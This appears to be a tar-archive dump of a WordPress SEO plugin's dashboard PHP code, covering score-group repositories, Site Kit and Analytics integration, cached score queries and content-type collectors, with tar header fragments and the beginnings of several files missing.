$browser_cache_configuration; } /** * Returns a configuration * * @return array|array>>> */ public function get_configuration(): array { $configuration = [ 'contentTypes' => $this->content_types_repository->get_content_types(), 'indexablesEnabled' => $this->indexable_helper->should_index_indexables(), 'displayName' => $this->user_helper->get_current_user_display_name(), 'enabledAnalysisFeatures' => $this->enabled_analysis_features_repository->get_features_by_keys( [ Readability_Analysis::NAME, Keyphrase_Analysis::NAME, ], )->to_array(), 'endpoints' => $this->endpoints_repository->get_all_endpoints()->to_array(), 'nonce' => $this->nonce_repository->get_rest_nonce(), 'setupStepsTracking' => $this->setup_steps_tracking->to_array(), ]; $site_kit_integration_data = $this->site_kit_integration_data->to_array(); if ( ! empty( $site_kit_integration_data ) ) { $configuration['siteKitConfiguration'] = $site_kit_integration_data; } $browser_cache_configuration = $this->browser_cache_configuration->get_configuration(); if ( ! empty( $browser_cache_configuration ) ) { $configuration['browserCache'] = $browser_cache_configuration; } return $configuration; } } dashboard/application/score-groups/seo-score-groups/seo-score-groups-repository.php000064400000003050152076257520025015 0ustar00seo_score_groups = $seo_score_groups; } /** * Returns the SEO score group that a SEO score belongs to. * * @param int $seo_score The SEO score to be assigned into a group. * * @return SEO_Score_Groups_Interface The SEO score group that the SEO score belongs to. */ public function get_seo_score_group( ?int $seo_score ): SEO_Score_Groups_Interface { if ( $seo_score === null || $seo_score === 0 ) { return new No_SEO_Score_Group(); } foreach ( $this->seo_score_groups as $seo_score_group ) { if ( $seo_score_group->get_max_score() === null ) { continue; } if ( $seo_score >= $seo_score_group->get_min_score() && $seo_score <= $seo_score_group->get_max_score() ) { return $seo_score_group; } } return new No_SEO_Score_Group(); } } dashboard/application/content-types/content-types-repository.php000064400000003132152076257520021366 0ustar00content_types_collector = $content_types_collector; $this->taxonomies_repository = $taxonomies_repository; } /** * Returns the content types array. * * @return array>>>> The content types array. */ public function get_content_types(): array { $content_types_list = $this->content_types_collector->get_content_types(); foreach ( $content_types_list->get() as $content_type ) { $content_type_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() ); $content_type->set_taxonomy( $content_type_taxonomy ); } return $content_types_list->to_array(); } } dashboard/application/search-rankings/top-query-repository.php000064400000004014152076257520020762 0ustar00site_kit_search_console_adapter = $site_kit_search_console_adapter; $this->site_kit_configuration = $site_kit_configuration; } /** * Gets the top queries' data. * * @param Parameters $parameters The parameter to use for getting the top queries. * * @return Data_Container * * @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready. */ public function get_data( Parameters $parameters ): Data_Container { if ( ! $this->site_kit_configuration->is_onboarded() ) { throw new Data_Source_Not_Available_Exception( 'Top queries repository' ); } return $this->site_kit_search_console_adapter->get_data( $parameters ); } } dashboard/application/search-rankings/search-ranking-compare-repository.php000064400000004130152076257520023334 0ustar00site_kit_search_console_adapter = $site_kit_search_console_adapter; $this->site_kit_configuration = $site_kit_configuration; } /** * Gets the comparing search ranking data. * * @param Parameters $parameters The parameter to use for getting the comparing search ranking data. * * @return Data_Container * * @throws Data_Source_Not_Available_Exception When getting the comparing search ranking data fails. */ public function get_data( Parameters $parameters ): Data_Container { if ( ! $this->site_kit_configuration->is_onboarded() ) { throw new Data_Source_Not_Available_Exception( 'Comparison search ranking repository' ); } return $this->site_kit_search_console_adapter->get_comparison_data( $parameters ); } } dashboard/application/search-rankings/top-page-repository.php000064400000005174152076257520020541 0ustar00site_kit_search_console_adapter = $site_kit_search_console_adapter; $this->top_page_indexable_collector = $top_page_indexable_collector; $this->site_kit_configuration = $site_kit_configuration; } /** * Gets the top pages' data. * * @param Parameters $parameters The parameter to use for getting the top pages. * * @return Data_Container * * @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready. */ public function get_data( Parameters $parameters ): Data_Container { if ( ! $this->site_kit_configuration->is_onboarded() ) { throw new Data_Source_Not_Available_Exception( 'Top page repository' ); } $top_pages_search_ranking_data = $this->site_kit_search_console_adapter->get_data( $parameters ); $top_pages_full_data = $this->top_page_indexable_collector->get_data( $top_pages_search_ranking_data ); return $top_pages_full_data; } } dashboard/application/taxonomies/taxonomies-repository.php000064400000003727152076257520020324 0ustar00taxonomies_collector = $taxonomies_collector; $this->filter_pairs_repository = $filter_pairs_repository; } /** * Returns the object of the filtering taxonomy of a content type. * * @param string $content_type The content type that the taxonomy filters. * * @return Taxonomy|null The filtering taxonomy of the content type. */ public function get_content_type_taxonomy( string $content_type ) { // First we check if there's a filter that overrides the filtering taxonomy for this content type. $taxonomy = $this->taxonomies_collector->get_custom_filtering_taxonomy( $content_type ); if ( $taxonomy ) { return $taxonomy; } // Then we check if there is a filter explicitly made for this content type. $taxonomy = $this->filter_pairs_repository->get_taxonomy( $content_type ); if ( $taxonomy ) { return $taxonomy; } // If everything else returned empty, we can always try the fallback taxonomy. return $this->taxonomies_collector->get_fallback_taxonomy( $content_type ); } } dashboard/application/filter-pairs/filter-pairs-repository.php000064400000003053152076257520020742 0ustar00taxonomies_collector = $taxonomies_collector; $this->filter_pairs = $filter_pairs; } /** * Returns a taxonomy based on a content type, by looking into hardcoded filter pairs. * * @param string $content_type The content type. * * @return Taxonomy|null The taxonomy filter. */ public function get_taxonomy( string $content_type ): ?Taxonomy { foreach ( $this->filter_pairs as $filter_pair ) { if ( $filter_pair->get_filtered_content_type() === $content_type ) { return $this->taxonomies_collector->get_taxonomy( $filter_pair->get_filtering_taxonomy(), $content_type ); } } return null; } } dashboard/application/traffic/organic-sessions-daily-repository.php000064400000004123152076257520021743 0ustar00site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter; $this->site_kit_configuration = $site_kit_configuration; } /** * Gets daily organic sessions' data. * * @param Parameters $parameters The parameter to use for getting the daily organic sessions' data. * * @return Data_Container * * @throws Data_Source_Not_Available_Exception When this repository is used without the needed prerequisites ready. */ public function get_data( Parameters $parameters ): Data_Container { if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) { throw new Data_Source_Not_Available_Exception( 'Daily organic sessions repository' ); } return $this->site_kit_analytics_4_adapter->get_daily_data( $parameters ); } } dashboard/application/traffic/organic-sessions-compare-repository.php000064400000004143152076257520022271 0ustar00site_kit_analytics_4_adapter = $site_kit_analytics_4_adapter; $this->site_kit_configuration = $site_kit_configuration; } /** * Gets comparison organic sessions' data. * * @param Parameters $parameters The parameter to use for getting the comparison organic sessions' data. * * @return Data_Container * * @throws Data_Source_Not_Available_Exception When getting the comparison organic sessions' data fails. */ public function get_data( Parameters $parameters ): Data_Container { if ( ! $this->site_kit_configuration->is_onboarded() || ! $this->site_kit_configuration->is_ga_connected() ) { throw new Data_Source_Not_Available_Exception( 'Comparison organic sessions repository' ); } return $this->site_kit_analytics_4_adapter->get_comparison_data( $parameters ); } } dashboard/infrastructure/integrations/site-kit.php000064400000026047152076257520016547 0ustar00 $search_console_module */ private $search_console_module = [ 'can_view' => null, ]; /** * The analytics module data. * * @var array $ga_module */ private $ga_module = [ 'can_view' => null, 'connected' => null, ]; /** * The constructor. * * @param Site_Kit_Consent_Repository_Interface $site_kit_consent_repository The Site Kit consent repository. * @param Configuration_Repository $configuration_repository The Site Kit permanently dismissed * configuration repository. * @param Site_Kit_Is_Connected_Call $site_kit_is_connected_call The api call to check if the site is * connected. * @param Site_Kit_Conditional $site_kit_conditional The Site Kit conditional. */ public function __construct( Site_Kit_Consent_Repository_Interface $site_kit_consent_repository, Configuration_Repository $configuration_repository, Site_Kit_Is_Connected_Call $site_kit_is_connected_call, Site_Kit_Conditional $site_kit_conditional ) { $this->site_kit_consent_repository = $site_kit_consent_repository; $this->permanently_dismissed_site_kit_configuration_repository = $configuration_repository; $this->site_kit_is_connected_call = $site_kit_is_connected_call; $this->site_kit_conditional = $site_kit_conditional; } /** * If the Site Kit plugin is active. * * @return bool If the integration is activated. */ public function is_enabled(): bool { return $this->site_kit_conditional->is_met(); } /** * If the Google site kit setup has been completed. * * @return bool If the Google site kit setup has been completed. */ private function is_setup_completed(): bool { return $this->site_kit_is_connected_call->is_setup_completed(); } /** * If consent has been granted. * * @return bool If consent has been granted. */ private function is_connected(): bool { return $this->site_kit_consent_repository->is_consent_granted(); } /** * If Google Analytics is connected. * * @return bool If Google Analytics is connected. */ public function is_ga_connected(): bool { if ( $this->ga_module['connected'] !== null ) { return $this->ga_module['connected']; } return $this->site_kit_is_connected_call->is_ga_connected(); } /** * If the Site Kit plugin is installed. This is needed since we cannot check with `is_plugin_active` in rest * requests. `Plugin.php` is only loaded on admin pages. * * @return bool If the Site Kit plugin is installed. */ private function is_site_kit_installed(): bool { return \class_exists( 'Google\Site_Kit\Plugin' ); } /** * If the entire onboarding has been completed. * * @return bool If the entire onboarding has been completed. */ public function is_onboarded(): bool { // @TODO: Consider replacing the `is_setup_completed()` check with a `can_read_data( $module )` check (and possibly rename the method to something more genric eg. is_ready() ). return ( $this->is_site_kit_installed() && $this->is_setup_completed() && $this->is_connected() ); } /** * Checks if current user can view dashboard data for a module * * @param array $module The module. * * @return bool If the user can read the data. */ private function can_read_data( array $module ): bool { return ( $module['can_view'] ?? false ); } /** * Return this object represented by a key value array. * * @return array Returns the name and if the feature is enabled. */ public function to_array(): array { if ( $this->is_enabled() ) { $this->parse_site_kit_data(); } return [ 'installUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_install_url() ), 'activateUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_activate_url() ), 'setupUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_setup_url() ), 'updateUrl' => \self_admin_url( 'update.php?page=' . Setup_Url_Interceptor::PAGE . '&redirect_setup_url=' ) . \rawurlencode( $this->get_update_url() ), 'dashboardUrl' => \self_admin_url( 'admin.php?page=googlesitekit-dashboard' ), 'isAnalyticsConnected' => $this->is_ga_connected(), 'isFeatureEnabled' => true, 'isSetupWidgetDismissed' => $this->permanently_dismissed_site_kit_configuration_repository->is_site_kit_configuration_dismissed(), 'capabilities' => [ 'installPlugins' => \current_user_can( 'install_plugins' ), 'viewSearchConsoleData' => $this->can_read_data( $this->search_console_module ), 'viewAnalyticsData' => $this->can_read_data( $this->ga_module ), ], 'connectionStepsStatuses' => [ 'isInstalled' => \file_exists( \WP_PLUGIN_DIR . '/' . self::SITE_KIT_FILE ), 'isActive' => $this->is_enabled(), 'isSetupCompleted' => $this->can_read_data( $this->search_console_module ) || $this->can_read_data( $this->ga_module ), 'isConsentGranted' => $this->is_connected(), ], 'isVersionSupported' => \defined( 'GOOGLESITEKIT_VERSION' ) ? \version_compare( \GOOGLESITEKIT_VERSION, '1.148.0', '>=' ) : false, // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. 'isRedirectedFromSiteKit' => isset( $_GET['redirected_from_site_kit'] ), ]; } /** * Return this object represented by a key value array. This is not used yet. * * @codeCoverageIgnore * * @return array Returns the name and if the feature is enabled. */ public function to_legacy_array(): array { return $this->to_array(); } /** * Parses the Site Kit configuration data. * * @return void */ public function parse_site_kit_data(): void { $paths = $this->get_preload_paths(); $preloaded = $this->get_preloaded_data( $paths ); if ( empty( $preloaded ) ) { return; } $modules_data = ! empty( $preloaded[ $paths['modules'] ]['body'] ) ? $preloaded[ $paths['modules'] ]['body'] : []; $modules_permissions = ! empty( $preloaded[ $paths['permissions'] ]['body'] ) ? $preloaded[ $paths['permissions'] ]['body'] : []; $can_view_dashboard = ( $modules_permissions['googlesitekit_view_authenticated_dashboard'] ?? false ); foreach ( $modules_data as $module ) { $slug = $module['slug']; // We have to also check if the module is recoverable, because if we rely on the module being shared, we have to make also sure the module owner is still connected. $is_recoverable = ( $module['recoverable'] ?? null ); if ( $slug === 'analytics-4' ) { $can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["analytics-4"]'] ?? false ); $this->ga_module['can_view'] = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable ); $this->ga_module['connected'] = ( $module['connected'] ?? false ); } if ( $slug === 'search-console' ) { $can_read_shared_module_data = ( $modules_permissions['googlesitekit_read_shared_module_data::["search-console"]'] ?? false ); $this->search_console_module['can_view'] = $can_view_dashboard || ( $can_read_shared_module_data && ! $is_recoverable ); } } } /** * Holds the parsed preload paths for preloading some Site Kit API data. * * @return string[] */ public function get_preload_paths(): array { $rest_root = ( \class_exists( REST_Routes::class ) ) ? REST_Routes::REST_ROOT : ''; return [ 'permissions' => '/' . $rest_root . '/core/user/data/permissions', 'modules' => '/' . $rest_root . '/core/modules/data/list', ]; } /** * Runs the given paths through the `rest_preload_api_request` method. * * @param string[] $paths The paths to add to `rest_preload_api_request`. * * @return array The array with all the now filled in preloaded data. */ public function get_preloaded_data( array $paths ): array { $preload_paths = \apply_filters( 'googlesitekit_apifetch_preload_paths', [] ); $actual_paths = \array_intersect( $paths, $preload_paths ); return \array_reduce( \array_unique( $actual_paths ), 'rest_preload_api_request', [], ); } /** * Creates a valid activation URL for the Site Kit plugin. * * @return string */ public function get_activate_url(): string { return \html_entity_decode( \wp_nonce_url( \self_admin_url( 'plugins.php?action=activate&plugin=' . self::SITE_KIT_FILE ), 'activate-plugin_' . self::SITE_KIT_FILE, ), ); } /** * Creates a valid install URL for the Site Kit plugin. * * @return string */ public function get_install_url(): string { return \html_entity_decode( \wp_nonce_url( \self_admin_url( 'update.php?action=install-plugin&plugin=google-site-kit' ), 'install-plugin_google-site-kit', ), ); } /** * Creates a valid update URL for the Site Kit plugin. * * @return string */ public function get_update_url(): string { return \html_entity_decode( \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=' . self::SITE_KIT_FILE ), 'upgrade-plugin_' . self::SITE_KIT_FILE, ), ); } /** * Creates a valid setup URL for the Site Kit plugin. * * @return string */ public function get_setup_url(): string { return \self_admin_url( 'admin.php?page=googlesitekit-splash' ); } } dashboard/infrastructure/tracking/setup-steps-tracking-repository-interface.php000064400000002044152076257520024350 0ustar00options_helper = $options_helper; } /** * Sets an option inside the Site Kit usage options array. * * @param string $element_name The name of the option to set. * @param string $element_value The value of the option to set. * * @return bool False when the update failed, true when the update succeeded. */ public function set_setup_steps_tracking_element( string $element_name, string $element_value ): bool { return $this->options_helper->set( 'site_kit_tracking_' . $element_name, $element_value ); } /** * Gets an option inside the Site Kit usage options array. * * @param string $element_name The name of the option to get. * * @return string The value if present, empty string if not. */ public function get_setup_steps_tracking_element( string $element_name ): string { return $this->options_helper->get( 'site_kit_tracking_' . $element_name, '' ); } } dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php000064400000005512152076257520027301 0ustar00seo_score_results_collector = $seo_score_results_collector; } /** * Retrieves the SEO score results for a content type. * Based on caching returns either the result or gets it from the collector. * * @param SEO_Score_Groups_Interface[] $score_groups All SEO score groups. * @param Content_Type $content_type The content type. * @param int|null $term_id The ID of the term we're filtering for. * @param bool|null $is_troubleshooting Whether we're in troubleshooting mode. * * @return array The SEO score results for a content type. * * @throws Score_Results_Not_Found_Exception When the query of getting score results fails. */ public function get_score_results( array $score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) { $content_type_name = $content_type->get_name(); $transient_name = self::SEO_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id ); $results = []; $transient = \get_transient( $transient_name ); if ( $is_troubleshooting !== true && $transient !== false ) { $results['scores'] = \json_decode( $transient, false ); $results['cache_used'] = true; $results['query_time'] = 0; return $results; } $results = $this->seo_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting ); $results['cache_used'] = false; if ( $is_troubleshooting !== true ) { \set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS ); } return $results; } } dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php000064400000012672152076257520026101 0ustar00 The SEO score results for a content type. * * @throws Score_Results_Not_Found_Exception When the query of getting score results fails. */ public function get_score_results( array $seo_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ): array { global $wpdb; $results = []; $content_type_name = $content_type->get_name(); $select = $this->build_select( $seo_score_groups, $is_troubleshooting ); $replacements = \array_merge( \array_values( $select['replacements'] ), [ Model::get_table_name( 'Indexable' ), $content_type_name, ], ); if ( $term_id === null ) { //phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements. //phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders. $query = $wpdb->prepare( " SELECT {$select['fields']} FROM %i AS I WHERE ( I.post_status = 'publish' OR I.post_status IS NULL ) AND I.object_type = 'post' AND I.object_sub_type = %s AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 )", $replacements, ); //phpcs:enable } else { $replacements[] = $wpdb->term_relationships; $replacements[] = $term_id; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements. //phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders. $query = $wpdb->prepare( " SELECT {$select['fields']} FROM %i AS I WHERE ( I.post_status = 'publish' OR I.post_status IS NULL ) AND I.object_type IN ('post') AND I.object_sub_type = %s AND ( I.is_robots_noindex IS NULL OR I.is_robots_noindex <> 1 ) AND I.object_id IN ( SELECT object_id FROM %i WHERE term_taxonomy_id = %d )", $replacements, ); //phpcs:enable } $start_time = \microtime( true ); //phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. $current_scores = $wpdb->get_row( $query ); //phpcs:enable if ( $current_scores === null ) { throw new Score_Results_Not_Found_Exception(); } $end_time = \microtime( true ); $results['scores'] = $current_scores; $results['query_time'] = ( $end_time - $start_time ); return $results; } /** * Builds the select statement for the SEO scores query. * * @param SEO_Score_Groups_Interface[] $seo_score_groups All SEO score groups. * @param bool|null $is_troubleshooting Whether we're in troubleshooting mode. * * @return array The select statement for the SEO scores query. */ private function build_select( array $seo_score_groups, ?bool $is_troubleshooting ): array { $select_fields = []; $select_replacements = []; // When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs. $select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT'; $selected_info = ( $is_troubleshooting === true ) ? 'I.object_id' : '1'; foreach ( $seo_score_groups as $seo_score_group ) { $min = $seo_score_group->get_min_score(); $max = $seo_score_group->get_max_score(); $name = $seo_score_group->get_name(); if ( $min === null || $max === null ) { $select_fields[] = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score = 0 OR I.primary_focus_keyword_score IS NULL THEN {$selected_info} END) AS %i"; $select_replacements[] = $name; } else { $select_fields[] = "{$select_operation}(CASE WHEN I.primary_focus_keyword_score >= %d AND I.primary_focus_keyword_score <= %d THEN {$selected_info} END) AS %i"; $select_replacements[] = $min; $select_replacements[] = $max; $select_replacements[] = $name; } } $select_fields = \implode( ', ', $select_fields ); return [ 'fields' => $select_fields, 'replacements' => $select_replacements, ]; } } dashboard/infrastructure/score-results/score-results-collector-interface.php000064400000002027152076257520023646 0ustar00 The score results for a content type. */ public function get_score_results( array $score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ); } score-results/readability-score-results/cached-readability-score-results-collector.php000064400000006103152076257530032426 0ustar00dashboard/infrastructurereadability_score_results_collector = $readability_score_results_collector; } /** * Retrieves readability score results for a content type. * Based on caching returns either the result or gets it from the collector. * * @param Readability_Score_Groups_Interface[] $score_groups All readability score groups. * @param Content_Type $content_type The content type. * @param int|null $term_id The ID of the term we're filtering for. * @param bool|null $is_troubleshooting Whether we're in troubleshooting mode. * * @return array The readability score results for a content type. * * @throws Score_Results_Not_Found_Exception When the query of getting score results fails. */ public function get_score_results( array $score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) { $content_type_name = $content_type->get_name(); $transient_name = self::READABILITY_SCORES_TRANSIENT . '_' . $content_type_name . ( ( $term_id === null ) ? '' : '_' . $term_id ); $results = []; $transient = \get_transient( $transient_name ); if ( $is_troubleshooting !== true && $transient !== false ) { $results['scores'] = \json_decode( $transient, false ); $results['cache_used'] = true; $results['query_time'] = 0; return $results; } $results = $this->readability_score_results_collector->get_score_results( $score_groups, $content_type, $term_id, $is_troubleshooting ); $results['cache_used'] = false; if ( $is_troubleshooting !== true ) { \set_transient( $transient_name, WPSEO_Utils::format_json_encode( $results['scores'] ), \MINUTE_IN_SECONDS ); } return $results; } } infrastructure/score-results/readability-score-results/readability-score-results-collector.php000064400000013211152076257540031220 0ustar00dashboard The readability score results for a content type. * * @throws Score_Results_Not_Found_Exception When the query of getting score results fails. */ public function get_score_results( array $readability_score_groups, Content_Type $content_type, ?int $term_id, ?bool $is_troubleshooting ) { global $wpdb; $results = []; $content_type_name = $content_type->get_name(); $select = $this->build_select( $readability_score_groups, $is_troubleshooting ); $replacements = \array_merge( \array_values( $select['replacements'] ), [ Model::get_table_name( 'Indexable' ), $content_type_name, ], ); if ( $term_id === null ) { //phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements. //phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders. $query = $wpdb->prepare( " SELECT {$select['fields']} FROM %i AS I WHERE ( I.post_status = 'publish' OR I.post_status IS NULL ) AND I.object_type = 'post' AND I.object_sub_type = %s", $replacements, ); //phpcs:enable } else { $replacements[] = $wpdb->term_relationships; $replacements[] = $term_id; //phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- $replacements is an array with the correct replacements. //phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $select['fields'] is an array of simple strings with placeholders. $query = $wpdb->prepare( " SELECT {$select['fields']} FROM %i AS I WHERE ( I.post_status = 'publish' OR I.post_status IS NULL ) AND I.object_type = 'post' AND I.object_sub_type = %s AND I.object_id IN ( SELECT object_id FROM %i WHERE term_taxonomy_id = %d )", $replacements, ); //phpcs:enable } $start_time = \microtime( true ); //phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- $query is prepared above. //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. //phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. $current_scores = $wpdb->get_row( $query ); //phpcs:enable if ( $current_scores === null ) { throw new Score_Results_Not_Found_Exception(); } $end_time = \microtime( true ); $results['scores'] = $current_scores; $results['query_time'] = ( $end_time - $start_time ); return $results; } /** * Builds the select statement for the readability scores query. * * @param Readability_Score_Groups_Interface[] $readability_score_groups All readability score groups. * @param bool|null $is_troubleshooting Whether we're in troubleshooting mode. * * @return array The select statement for the readability scores query. */ private function build_select( array $readability_score_groups, ?bool $is_troubleshooting ): array { $select_fields = []; $select_replacements = []; // When we don't troubleshoot, we're interested in the amount of posts in a group, when we troubleshoot we want to gather the actual IDs. $select_operation = ( $is_troubleshooting === true ) ? 'GROUP_CONCAT' : 'COUNT'; $selected_info = ( $is_troubleshooting === true ) ? 'I.object_id' : '1'; foreach ( $readability_score_groups as $readability_score_group ) { $min = $readability_score_group->get_min_score(); $max = $readability_score_group->get_max_score(); $name = $readability_score_group->get_name(); if ( $min === null && $max === null ) { $select_fields[] = "{$select_operation}(CASE WHEN I.readability_score = 0 AND I.estimated_reading_time_minutes IS NULL THEN {$selected_info} END) AS %i"; $select_replacements[] = $name; } else { $needs_ert = ( $min === 1 ) ? ' OR (I.readability_score = 0 AND I.estimated_reading_time_minutes IS NOT NULL)' : ''; $select_fields[] = "{$select_operation}(CASE WHEN ( I.readability_score >= %d AND I.readability_score <= %d ){$needs_ert} THEN {$selected_info} END) AS %i"; $select_replacements[] = $min; $select_replacements[] = $max; $select_replacements[] = $name; } } $select_fields = \implode( ', ', $select_fields ); return [ 'fields' => $select_fields, 'replacements' => $select_replacements, ]; } } dashboard/infrastructure/endpoints/seo-scores-endpoint.php000064400000002163152076257540020206 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/endpoints/site-kit-configuration-dismissal-endpoint.php000064400000002233152076257540024506 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/endpoints/setup-steps-tracking-endpoint.php000064400000002131152076257550022214 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/endpoints/time-based-seo-metrics-endpoint.php000064400000002067152076257550022372 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/endpoints/readability-scores-endpoint.php000064400000002233152076257550021710 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/endpoints/site-kit-consent-management-endpoint.php000064400000002213152076257550023433 0ustar00get_namespace() . $this->get_route() ); } } dashboard/infrastructure/nonces/nonce-repository.php000064400000000610152076257560017104 0ustar00indexable_repository = $indexable_repository; $this->seo_score_groups_repository = $seo_score_groups_repository; } /** * Gets full data for top pages. * * @param Data_Container $top_pages The top pages. * * @return Data_Container Data about SEO scores of top pages. */ public function get_data( Data_Container $top_pages ): Data_Container { $top_page_data_container = new Data_Container(); foreach ( $top_pages->get_data() as $top_page ) { $url = $top_page->get_subject(); $indexable = $this->get_top_page_indexable( $url ); if ( $indexable instanceof Indexable ) { $seo_score_group = $this->seo_score_groups_repository->get_seo_score_group( $indexable->primary_focus_keyword_score ); $edit_link = $this->get_top_page_edit_link( $indexable ); $top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group, $edit_link ) ); continue; } $seo_score_group = new No_SEO_Score_Group(); $top_page_data_container->add_data( new Top_Page_Data( $top_page, $seo_score_group ) ); } return $top_page_data_container; } /** * Gets indexable for a top page URL. * * @param string $url The URL of the top page. * * @return bool|Indexable The indexable of the top page URL or false if there is none. */ protected function get_top_page_indexable( string $url ) { // First check if the URL is the static homepage. if ( \trailingslashit( $url ) === \trailingslashit( \get_home_url() ) && \get_option( 'show_on_front' ) === 'page' ) { return $this->indexable_repository->find_by_id_and_type( \get_option( 'page_on_front' ), 'post', false ); } return $this->indexable_repository->find_by_permalink( $url ); } /** * Gets edit links from a top page's indexable. * * @param Indexable $indexable The top page's indexable. * * @return string|null The edit link for the top page. */ protected function get_top_page_edit_link( Indexable $indexable ): ?string { if ( $indexable->object_type === 'post' && \current_user_can( 'edit_post', $indexable->object_id ) ) { return \get_edit_post_link( $indexable->object_id, '&' ); } if ( $indexable->object_type === 'term' && \current_user_can( 'edit_term', $indexable->object_id ) ) { return \get_edit_term_link( $indexable->object_id ); } return null; } } dashboard/infrastructure/configuration/site-kit-consent-repository.php000064400000002460152076257560022571 0ustar00options_helper = $options_helper; } /** * Sets the Site Kit consent value. * * @param bool $consent The consent status. * * @return bool False when the update failed, true when the update succeeded. */ public function set_site_kit_consent( bool $consent ): bool { return $this->options_helper->set( 'site_kit_connected', $consent ); } /** * Checks if consent has ben given for Site Kit. * * * * @return bool True when consent has been given, false when it is not. */ public function is_consent_granted(): bool { return $this->options_helper->get( 'site_kit_connected', false ); } } dashboard/infrastructure/configuration/permanently-dismissed-site-kit-configuration-repository.php000064400000003012152076257560030277 0ustar00options_helper = $options_helper; } /** * Sets the Site Kit dismissal status. * * @param bool $is_dismissed The dismissal status. * * @return bool False when the update failed, true when the update succeeded. */ public function set_site_kit_configuration_dismissal( bool $is_dismissed ): bool { return $this->options_helper->set( 'site_kit_configuration_permanently_dismissed', $is_dismissed ); } /** * Checks if the Site Kit configuration is dismissed permanently. * * * * @return bool True when the configuration is dismissed, false when it is not. */ public function is_site_kit_configuration_dismissed(): bool { return $this->options_helper->get( 'site_kit_configuration_permanently_dismissed', false ); } } dashboard/infrastructure/configuration/site-kit-consent-repository-interface.php000064400000001404152076257560024524 0ustar00 'publish', 'post_type' => $content_type->get_name(), $score_group->get_filter_key() => $score_group->get_filter_value(), ]; if ( $taxonomy === null || $term_id === null ) { return \add_query_arg( $args, $posts_page ); } $taxonomy_object = \get_taxonomy( $taxonomy->get_name() ); $query_var = $taxonomy_object->query_var; if ( ! $query_var ) { return null; } $term = \get_term( $term_id ); $args[ $query_var ] = $term->slug; return \add_query_arg( $args, $posts_page ); } } dashboard/infrastructure/content-types/content-types-collector.php000064400000002462152076257560021723 0ustar00post_type_helper = $post_type_helper; } /** * Returns the content types in a list. * * @return Content_Types_List The content types in a list. */ public function get_content_types(): Content_Types_List { $content_types_list = new Content_Types_List(); $post_types = $this->post_type_helper->get_indexable_post_type_objects(); foreach ( $post_types as $post_type_object ) { if ( $post_type_object->show_ui === false ) { continue; } $content_type = new Content_Type( $post_type_object->name, $post_type_object->label ); $content_types_list->add( $content_type ); } return $content_types_list; } } dashboard/infrastructure/analytics-4/analytics-4-parameters.php000064400000005576152076257560020741 0ustar00> $dimensions */ private $dimensions = []; /** * The dimensions filters. * * @var array> $dimension_filters */ private $dimension_filters = []; /** * The metrics. * * @var array> $metrics */ private $metrics = []; /** * The order by. * * @var array>> $order_by */ private $order_by = []; /** * Sets the dimensions. * * @link https://developers.google.com/analytics/devguides/reporting/data/v1/rest/v1beta/Dimension * * @param array $dimensions The dimensions. * * @return void */ public function set_dimensions( array $dimensions ): void { foreach ( $dimensions as $dimension ) { $this->dimensions[] = [ 'name' => $dimension ]; } } /** * Getter for the dimensions. * * @return array> */ public function get_dimensions(): array { return $this->dimensions; } /** * 